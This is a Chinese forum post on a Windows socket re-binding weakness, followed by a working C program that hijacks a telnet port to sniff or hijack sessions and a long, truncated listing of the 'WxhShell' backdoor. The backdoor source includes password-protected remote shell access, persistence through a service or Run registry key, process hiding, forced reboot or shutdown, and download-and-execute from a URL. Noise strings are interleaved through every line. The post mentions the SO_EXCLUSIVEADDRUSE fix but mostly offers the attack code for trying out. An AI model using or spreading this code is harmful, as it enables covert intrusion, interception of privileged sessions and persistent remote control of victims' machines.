社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 8686阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G_GV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <l/QS3M  
(yjx+K_[  
  saddr.sin_family = AF_INET; &b[ .bf  
]Ek6EuaK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); < j}n/G]  
Zl5cHejM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dzIc X*"  
_MF:?p,l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +gZg7]!Z  
{tUjUwhz(  
  这意味着什么?意味着可以进行如下的攻击: 8$k`bZ  
Hc`)Q vFRW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EwvW: t1  
'R&Y pR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J9!}8uD  
j_::#?o!/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _4eSDO[h  
; B4x>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ldd|"[Ds  
{}r#s>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 : GVyY]qBU  
0E*q-$P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,$i2vGd  
zX{O"w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SG:Fn8  
PtH>I,/  
  #include f{ ;L"*L  
  #include b-Q*!U t  
  #include 7jss3^.wA  
  #include    x*]&Ca0+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >o=O^:/L  
  int main() ]mDsd*1  
  { {+`'ZU6C  
  WORD wVersionRequested; vL>cYbJ<  
  DWORD ret; > -P UY  
  WSADATA wsaData; asDk@G cu  
  BOOL val; ;WydXQ}Q^  
  SOCKADDR_IN saddr; eIZ7uSl  
  SOCKADDR_IN scaddr; ^HJvT)e4  
  int err; p:*)rE  
  SOCKET s; }e/#dMEi  
  SOCKET sc; v5 |XyN"  
  int caddsize; N_ 3$B=  
  HANDLE mt; mGss9eZa  
  DWORD tid;   DRp h?V\  
  wVersionRequested = MAKEWORD( 2, 2 ); MIV<"A  
  err = WSAStartup( wVersionRequested, &wsaData ); %2H0JXKa,  
  if ( err != 0 ) { 0:NCIsIm<  
  printf("error!WSAStartup failed!\n"); \<cs:C\h7  
  return -1; v[k;R  
  } ZGILV  
  saddr.sin_family = AF_INET; /INjP~C  
   S511}KPbm/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K]~! =j)v  
VFmG\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gLm ]*  
  saddr.sin_port = htons(23); 9%{V?r]k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %y7&~me  
  { .A(QqL>  
  printf("error!socket failed!\n");  Ptt  
  return -1; (d9G`  
  } 54X=58Q  
  val = TRUE; *$%ch=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ld*W\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h/'b(9fS  
  { CcGE4BB  
  printf("error!setsockopt failed!\n"); sBN"eHg  
  return -1; QcW6o,  
  } V/p+Xv(Zt  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c(@(j8@S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _wp>AJ r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @ Sq =q=S  
prIPPeMdz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a ~  
  { !?AgAsSmc  
  ret=GetLastError(); V-1H(wRu  
  printf("error!bind failed!\n"); 5|nT5oS  
  return -1; 4q9+a7@  
  } Yz%AKp  
  listen(s,2); L1H k[j]X|  
  while(1) =nVEdRU  
  { o\TXW qt  
  caddsize = sizeof(scaddr); /$EX -!ie  
  //接受连接请求 $,b1`*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g1!ek  
  if(sc!=INVALID_SOCKET) 0mt lM(  
  { UFE# J  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q1Jw7R#?l  
  if(mt==NULL) "b~-`ni  
  { Gy]ZYo(  
  printf("Thread Creat Failed!\n"); QL].)Vgf  
  break; (+(YQ2  
  } .eBo:4T!d  
  } 4!vovt{  
  CloseHandle(mt); 4](jV}Hg  
  } =&_Y=>rA]0  
  closesocket(s); A$JL"~R  
  WSACleanup(); .RazjXAY  
  return 0; j7(S=  
  }   E Pd9'9S  
  DWORD WINAPI ClientThread(LPVOID lpParam) )ajF ca@v  
  { h!~Qyb>W  
  SOCKET ss = (SOCKET)lpParam; v=pkze  
  SOCKET sc; bZ5cKQ\6  
  unsigned char buf[4096]; 6E^h#Ozl 9  
  SOCKADDR_IN saddr;  BN_I#8r  
  long num; nB|m!fi<  
  DWORD val; KbXENz&C  
  DWORD ret; 4MFdhJoN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IPVD^a ?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Kggc9^ 7  
  saddr.sin_family = AF_INET; _c z$w5`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s)A=hB-V  
  saddr.sin_port = htons(23); lH%%iYBM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tM:%{az  
  { S5+W<Qs  
  printf("error!socket failed!\n"); fb=[gK#*,  
  return -1; ku3(cb!2  
  } Md*~hb8J  
  val = 100; /bSAVSKR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iB XS   
  { a_T3<  
  ret = GetLastError(); J< vVsz+7:  
  return -1; 'kBq@>  
  } dzbFUDJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) af>^<q  
  { O0Pb"ou_h.  
  ret = GetLastError(); 2ophh/]  
  return -1; {W' 9k  
  } P\rA>ZY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F97HFt6{  
  { )c<X.4  
  printf("error!socket connect failed!\n"); 3oQ?VP  
  closesocket(sc); ?qmJJ5Gn  
  closesocket(ss); "9v4'"  
  return -1; ]aZ3_<b  
  } Zl\$9Q_  
  while(1) U/s!Tb>`  
  { t_"]n*zk1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fo"%4rkL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -+HD5Hc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )JXlPU  
  num = recv(ss,buf,4096,0); (:|rCZC  
  if(num>0) X(npgkVP\  
  send(sc,buf,num,0); /J5)_> R:  
  else if(num==0) K/l*Saj  
  break; TN=!;SvQU  
  num = recv(sc,buf,4096,0); Zsto8wuf#  
  if(num>0) 6 k6}SlN[  
  send(ss,buf,num,0); 0% zy 6{  
  else if(num==0) #zed8I:w  
  break; T1U8ZEK<iu  
  } |44 E:pA  
  closesocket(ss); A|`mIma#  
  closesocket(sc); 6 =H]p1p~O  
  return 0 ; e6i m_ Tk  
  } s= bP@[Gj  
o:c:hSV  
MC~<jJ,  
========================================================== \"| 7o8  
~vscATQ  
下边附上一个代码,,WXhSHELL {%BPP{OFk  
3Hi[Y[O`%P  
========================================================== oIv\Xdc81  
.FeVbZW  
#include "stdafx.h" z5 g4+y,  
N Wf IRL  
#include <stdio.h> nc9sfH3  
#include <string.h> ~N]pB]/][  
#include <windows.h> gkFw=Cd  
#include <winsock2.h> 5_+pgJL  
#include <winsvc.h> D16w!Mnz{K  
#include <urlmon.h> Ve[[J"ze  
m:)s UC0  
#pragma comment (lib, "Ws2_32.lib") j58'P 5N  
#pragma comment (lib, "urlmon.lib") 9CFh'>}$  
:;URLl0  
#define MAX_USER   100 // 最大客户端连接数 Zv5vYe9Ow  
#define BUF_SOCK   200 // sock buffer XR+  
#define KEY_BUFF   255 // 输入 buffer zrL+:/t  
q^ eLbivVE  
#define REBOOT     0   // 重启 nC5]IYL|  
#define SHUTDOWN   1   // 关机 > zV  
ly::?  
#define DEF_PORT   5000 // 监听端口 V)Ze> Pp  
)W^$7 Em  
#define REG_LEN     16   // 注册表键长度 b#W(&b^q  
#define SVC_LEN     80   // NT服务名长度 x0||'0I0  
-J;;6aA  
// 从dll定义API /wPW2<|"X.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .OZ\ s%h;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lQqP4-E?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5I&Dk4v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *:Uq ;)*  
^ pNA_s!S  
// wxhshell配置信息 Ov@vNj&  
struct WSCFG { c@x6<S%*  
  int ws_port;         // 监听端口 }q=tg9  
  char ws_passstr[REG_LEN]; // 口令 $QnsP#ePN  
  int ws_autoins;       // 安装标记, 1=yes 0=no f/670Acv  
  char ws_regname[REG_LEN]; // 注册表键名 UgTgva>?  
  char ws_svcname[REG_LEN]; // 服务名 CE7{>pl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #b@ sV$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Gg y7xb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5"&=BD~D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u,JUMH]@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }$` PZUw>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cuh Z_l  
}oL l? L  
}; VK% j45D`  
J]5ZWo%  
// default Wxhshell configuration OU[ FiW-E  
struct WSCFG wscfg={DEF_PORT, |& _(I  
    "xuhuanlingzhe", FyqsFTh_  
    1, P-\65]`C  
    "Wxhshell", 3'!*/UnU  
    "Wxhshell", N6BEl55 &  
            "WxhShell Service", I.- I4F)D  
    "Wrsky Windows CmdShell Service", S{nBQB<  
    "Please Input Your Password: ", Qov*xRO6  
  1, 4k)0OQeW6  
  "http://www.wrsky.com/wxhshell.exe", %(B6eiA  
  "Wxhshell.exe" ;~Gez;AhK  
    }; T\ [CQO  
;v5Jps2^]  
// 消息定义模块 vlo!D9zsV3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [sl"\3)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^+}~"nvD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6o]j@o8V  
char *msg_ws_ext="\n\rExit."; %&!B2z}  
char *msg_ws_end="\n\rQuit."; rw#?NI:  
char *msg_ws_boot="\n\rReboot..."; J~}i}|YC>  
char *msg_ws_poff="\n\rShutdown..."; w g^'oy  
char *msg_ws_down="\n\rSave to "; = ,c!V  
k1fX-2H  
char *msg_ws_err="\n\rErr!"; TTJj=KPA  
char *msg_ws_ok="\n\rOK!"; 3Qd%`k  
Yb?(Q %  
char ExeFile[MAX_PATH]; bd&Nf2  
int nUser = 0; gp-rTdN  
HANDLE handles[MAX_USER]; a*qc  
int OsIsNt; 87rHW@\](  
QPX3a8w*  
SERVICE_STATUS       serviceStatus; i2Sh^\Xw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m0N{%Mf-  
a"8H(HAlNn  
// 函数声明 *0z'!m12  
int Install(void); Eb p=du  
int Uninstall(void); DpIk$X  
int DownloadFile(char *sURL, SOCKET wsh); a6'T]DW0W  
int Boot(int flag); vk<4P;A(G  
void HideProc(void); cHon' tS  
int GetOsVer(void); 6|Xm8,]yRw  
int Wxhshell(SOCKET wsl); }'4aW_ta  
void TalkWithClient(void *cs); .q'{ 3  
int CmdShell(SOCKET sock); ztC>*SX  
int StartFromService(void); IJBIO>Z/  
int StartWxhshell(LPSTR lpCmdLine); w sbzGW~=  
O+=C8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gp4@6HuUd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5UvqE_  
<[V1z=Eo/]  
// 数据结构和表定义 Ph17(APt,Q  
SERVICE_TABLE_ENTRY DispatchTable[] = xzBUm  
{ MS& 'Nj  
{wscfg.ws_svcname, NTServiceMain}, ZdlQ}l#F  
{NULL, NULL} _f@nUv*  
}; sV`p3L8pl  
i!+0''i{#  
// 自我安装 ~N8$abQJV  
int Install(void) eV\VR !!i  
{ U,V+qnS  
  char svExeFile[MAX_PATH]; ;rC< C  
  HKEY key; $ spk.j  
  strcpy(svExeFile,ExeFile); i}v3MO\X  
R/kF,}^F  
// 如果是win9x系统,修改注册表设为自启动 *mkL>v &  
if(!OsIsNt) { x<=R?4@rq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g5t`YcL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B>%;"OMp  
  RegCloseKey(key); X{P=2h#g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .QB)Y* z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %VS+?4ww  
  RegCloseKey(key); M9KoQS  
  return 0; 4E@_Fn_#  
    } VVk8z6 W  
  } MGsY3~!K  
} S&NWZ:E3[  
else { newURb,-!  
&e99P{\D  
// 如果是NT以上系统,安装为系统服务 !rff/0/x"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 40%<E  
if (schSCManager!=0) c.}#.-b8  
{ Xn%O .yM6  
  SC_HANDLE schService = CreateService "X\6tl7a|  
  ( (1Klj+"p%  
  schSCManager, dg4q+  
  wscfg.ws_svcname, r?HbApV P  
  wscfg.ws_svcdisp, GxA[N  
  SERVICE_ALL_ACCESS, $J*lD -h-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ilwIqj  
  SERVICE_AUTO_START, unt{RVR%  
  SERVICE_ERROR_NORMAL, mj&$+zM>  
  svExeFile, =a(]@8$!1  
  NULL, nc;iJ/\4  
  NULL, T} K@ykT  
  NULL, WntolYd  
  NULL, URj2 evYW  
  NULL *@g>~q{`  
  ); l]S%k&  
  if (schService!=0) >`I%^+ z  
  { HH|N~pBJB  
  CloseServiceHandle(schService); Uac.8wQh  
  CloseServiceHandle(schSCManager); X;CRy,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9)D9'/{L#  
  strcat(svExeFile,wscfg.ws_svcname); n= FOB0=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L+_ JKc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?P(U/DS8  
  RegCloseKey(key); '?d5L+9  
  return 0; H Yw7*  
    } t_ id/  
  } d?N[bA  
  CloseServiceHandle(schSCManager); MC%!>,tC  
} 3Hf_!C=g  
} HEF\TH9  
!%/(a)B$^$  
return 1; <J-.,:  
} +f'@  
ebhV;Q.  
// 自我卸载 ]BfJ~+ N  
int Uninstall(void) b 4A1M  
{ =jvL2ps<  
  HKEY key; s,H }km  
a!\^O).pA  
if(!OsIsNt) { (;(2n;i[M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S+GW}?!  
  RegDeleteValue(key,wscfg.ws_regname); /hAy1V6  
  RegCloseKey(key); X- `PF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +7r?vo1  
  RegDeleteValue(key,wscfg.ws_regname); DtkOb,wY  
  RegCloseKey(key); hpo*5Va  
  return 0; [midNC+,  
  } v;d3uunqv  
} .@ @&q4= &  
} ),5A&qT*  
else { a|Wrc)UR  
t(xe*xS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [@/s! i @  
if (schSCManager!=0) ko6[Ej:TBo  
{ {~ 1 ~V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rs,:pU  
  if (schService!=0) >Zh^,T={G  
  { 9 !s)52qt  
  if(DeleteService(schService)!=0) { .Zr3!N.t  
  CloseServiceHandle(schService); fHXz{,?/w  
  CloseServiceHandle(schSCManager); U _~r0  
  return 0; 8}?w %FsN#  
  } fk\hrVP  
  CloseServiceHandle(schService);  jRhRw;  
  } "89L^I  
  CloseServiceHandle(schSCManager); rAS2qt  
} Vn?|\3KY  
} 69N8COLB  
>Y;[+#H[  
return 1; ~z7Fz"o<  
} B !Z~jT  
<%S[6*6U  
// 从指定url下载文件 o^Qy71Uj  
int DownloadFile(char *sURL, SOCKET wsh) '25zb+ -  
{ <=@6UPsn2  
  HRESULT hr; ';I(#J6  
char seps[]= "/"; CIAKXYM  
char *token; + De-U.  
char *file; 1l\. >H\E  
char myURL[MAX_PATH]; TmEh$M  
char myFILE[MAX_PATH]; 7x.] 9J  
UD_8#DO{m1  
strcpy(myURL,sURL); G4wJv^6i9  
  token=strtok(myURL,seps); Wx8n)  
  while(token!=NULL) ]Ryg}DOQ  
  { }U qL2KXi4  
    file=token; 2C#b-Y 1~N  
  token=strtok(NULL,seps); Su*Pd;  
  } G4G<Ow)`  
L6J.^tpO  
GetCurrentDirectory(MAX_PATH,myFILE); 9eEA80i7  
strcat(myFILE, "\\"); I?CfdI  
strcat(myFILE, file); !}=#h8fv  
  send(wsh,myFILE,strlen(myFILE),0); ;upYam"  
send(wsh,"...",3,0); )zu m.6pT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \:E=B1  
  if(hr==S_OK) OhTd>~R`<  
return 0; GP_%. fO\M  
else U[NQ"  
return 1; _ _[bKd.  
_m3#g1m{  
} #|F5Kh"  
l|fb;Giq=D  
// 系统电源模块 7mnZ,gpb  
int Boot(int flag) #ib?6=sPC  
{ ltOsl-OpR  
  HANDLE hToken; *yN#q>1  
  TOKEN_PRIVILEGES tkp; D9\ EkX  
}a!c  
  if(OsIsNt) { 8jz7t:0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {r:5\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J['i  
    tkp.PrivilegeCount = 1; T.q7~ba*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oFp4* <\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7$"n.cr :  
if(flag==REBOOT) { 9HZR%s[J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dI~{0)s  
  return 0; +lw1v  
} l42tTD8Awz  
else { \!zM4ppr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^-%O  
  return 0; 8HL8)G6  
} tfPe-U  
  } nI,-ftMD-|  
  else { XF`?5G~~#  
if(flag==REBOOT) { <+AvbqDe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7$7#z\VWu  
  return 0; 2 xt$w%  
} < [q{0,  
else { :nxBM#:xu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hf5+$^RZ  
  return 0; @Mf ZP~T+  
} ML:H\  
} APqYf<W  
(gb vInZ  
return 1; W!)B%.Q  
} tWA<OOl  
`bjPOA(g  
// win9x进程隐藏模块 CB>*(Mu  
void HideProc(void) "\rR0V!wA  
{ E6clVa  
_dwJ;j`2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y#rd' 8  
  if ( hKernel != NULL ) 7xCm"jgP  
  { oe{,-<yck  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |[MtUWEW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A8j$c~  
    FreeLibrary(hKernel); @^,9O92l  
  } /N=M9i\;  
SD]rYIu+  
return; zS!+2/(  
}  zj7?2  
(RI+4V1  
// 获取操作系统版本 A(ZtA[G  
int GetOsVer(void) ;oVFcZSA  
{ @'JA3V}  
  OSVERSIONINFO winfo; :$N{NChx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yu$xQ~ o  
  GetVersionEx(&winfo); B\6%.R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DB.)/(zWQ  
  return 1; b:W x[+  
  else d5qGTT ~a  
  return 0; ?d@zTAI  
} ""x>-j4  
6:AZZF1  
// 客户端句柄模块 O.$OLK;v  
int Wxhshell(SOCKET wsl) y1kI^B  
{ 9bu1Ax1M  
  SOCKET wsh; pRFlmg@/}  
  struct sockaddr_in client; Io]KlR@!T  
  DWORD myID; qw}. QwPT  
!]=S A &  
  while(nUser<MAX_USER) ONm-zRx|  
{ 58gkE94  
  int nSize=sizeof(client); YI+o:fGC5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J6g:.jsK!  
  if(wsh==INVALID_SOCKET) return 1; ]TSzT"_r~~  
#P;vc{ Iq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @8U8>'zDE  
if(handles[nUser]==0) F 8 gw3  
  closesocket(wsh); nD#uOep9  
else _TjRvILC  
  nUser++; G!g];7PG(  
  } `_ )5K u}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A9ZK :i7  
UiH5iZ<r;  
  return 0; 8eD/9PD=F  
} Q=F^Y f  
iB3C.wd-  
// 关闭 socket 6(V"xjK  
void CloseIt(SOCKET wsh) )* Rr5l /l  
{ ivJTE  
closesocket(wsh); VMJK9|JC[  
nUser--; ~A,(D-  
ExitThread(0); Nuc2CB)J  
} l`?4O  
A\QrawBp0l  
// 客户端请求句柄 ?xb2jZ/0X  
void TalkWithClient(void *cs) Gu# wH  
{ "rR$2`v"  
vfOG(EkG.?  
  SOCKET wsh=(SOCKET)cs; *DPKV$  
  char pwd[SVC_LEN]; DXx),?s>  
  char cmd[KEY_BUFF]; nv%0EAa#}  
char chr[1]; LqoH]AcN  
int i,j; |#x]/AXa0/  
# &Z1d(!  
  while (nUser < MAX_USER) { c{wob%!>  
?<D1] Xv  
if(wscfg.ws_passstr) { ky@DH(^>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `a]feAl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CAbT9W z&  
  //ZeroMemory(pwd,KEY_BUFF); P B"nf|pm  
      i=0; $QJ,V~  
  while(i<SVC_LEN) { 4\(|V fy  
\v p^[,SI  
  // 设置超时 .5+5ca  
  fd_set FdRead; #E@X'jwu  
  struct timeval TimeOut; 1-?TjR  
  FD_ZERO(&FdRead); 0{sYD*gK]  
  FD_SET(wsh,&FdRead); G[\3)@I  
  TimeOut.tv_sec=8; GFgh{'|  
  TimeOut.tv_usec=0; q.v_?X<_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?tf<AZ=+^L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e4Xo(EY &  
yr34&M(a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xQ\S!py-  
  pwd=chr[0]; s-),Pv|  
  if(chr[0]==0xd || chr[0]==0xa) { T#D*B]oZ}  
  pwd=0; + wF5(  
  break; Rmh u"N/q  
  } <k 7q 9"\4  
  i++; LGPg\g`  
    } 1 eMaKT_=  
4nGr?%>  
  // 如果是非法用户,关闭 socket zH1ChgF=}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sH\ h{^  
} <(B: "wI  
QS2~}{v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]hlYmT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }R)A%FKi@  
S")*~)N@  
while(1) { YveNsn  
'cvc\=p  
  ZeroMemory(cmd,KEY_BUFF); |n\(I$  
psB9~EU&Q  
      // 自动支持客户端 telnet标准   =pn(56  
  j=0; }d16xp  
  while(j<KEY_BUFF) { 0A.9<&Lod  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W0KSLxM  
  cmd[j]=chr[0]; E?F?)!%  
  if(chr[0]==0xa || chr[0]==0xd) { T``~YoIdz  
  cmd[j]=0; -mqTlXM  
  break; 3R ZD=`  
  } 7A4 6?kfu  
  j++; J)_IfbY  
    } yMBFw:/o  
WkK.ON^  
  // 下载文件 % !p/r`  
  if(strstr(cmd,"http://")) { 6D1tRo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {b90c'8?a  
  if(DownloadFile(cmd,wsh)) i-31Cxb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8ubb~B;  
  else :qO)^~x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6%2\bI.#  
  } )}5f'TK  
  else { ?\Lf=[  
b'TkYa^  
    switch(cmd[0]) { 5.FAuzz  
  {^SHIL  
  // 帮助 _:.'\d(  
  case '?': { %XK<[BF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  \%/zf  
    break; G~`nLC^Y  
  } 1JO@G3,  
  // 安装 4-{f$Z @  
  case 'i': { \_PD@A9  
    if(Install()) 6yPh0n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WU<C7   
    else b5d;_-~d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p_l.a  
    break; ~h6aTN  
    } $sBje*;  
  // 卸载 yZ57uz  
  case 'r': { lO5*n|Ic,  
    if(Uninstall()) \A/??8cgXs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e8$OV4X  
    else D}7G|gX1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ICB'?yZ,  
    break; qW'5Zk  
    } oEnCe  
  // 显示 wxhshell 所在路径 fDIKR[B  
  case 'p': {  h@"u==0  
    char svExeFile[MAX_PATH]; zwpgf  
    strcpy(svExeFile,"\n\r"); Fg -4u&Ik  
      strcat(svExeFile,ExeFile); a]8}zSUK  
        send(wsh,svExeFile,strlen(svExeFile),0); {1]/ok2k5  
    break; T^n0=|  
    } &?j]L4%  
  // 重启 $Y31Y A  
  case 'b': { u!K5jqP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xlU:&=|  
    if(Boot(REBOOT)) =}Xw}X+[WY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xyc`p[n &  
    else { %)@3V8OI  
    closesocket(wsh); ^=gzm s  
    ExitThread(0); H`X>  
    } TWAt)Q"J  
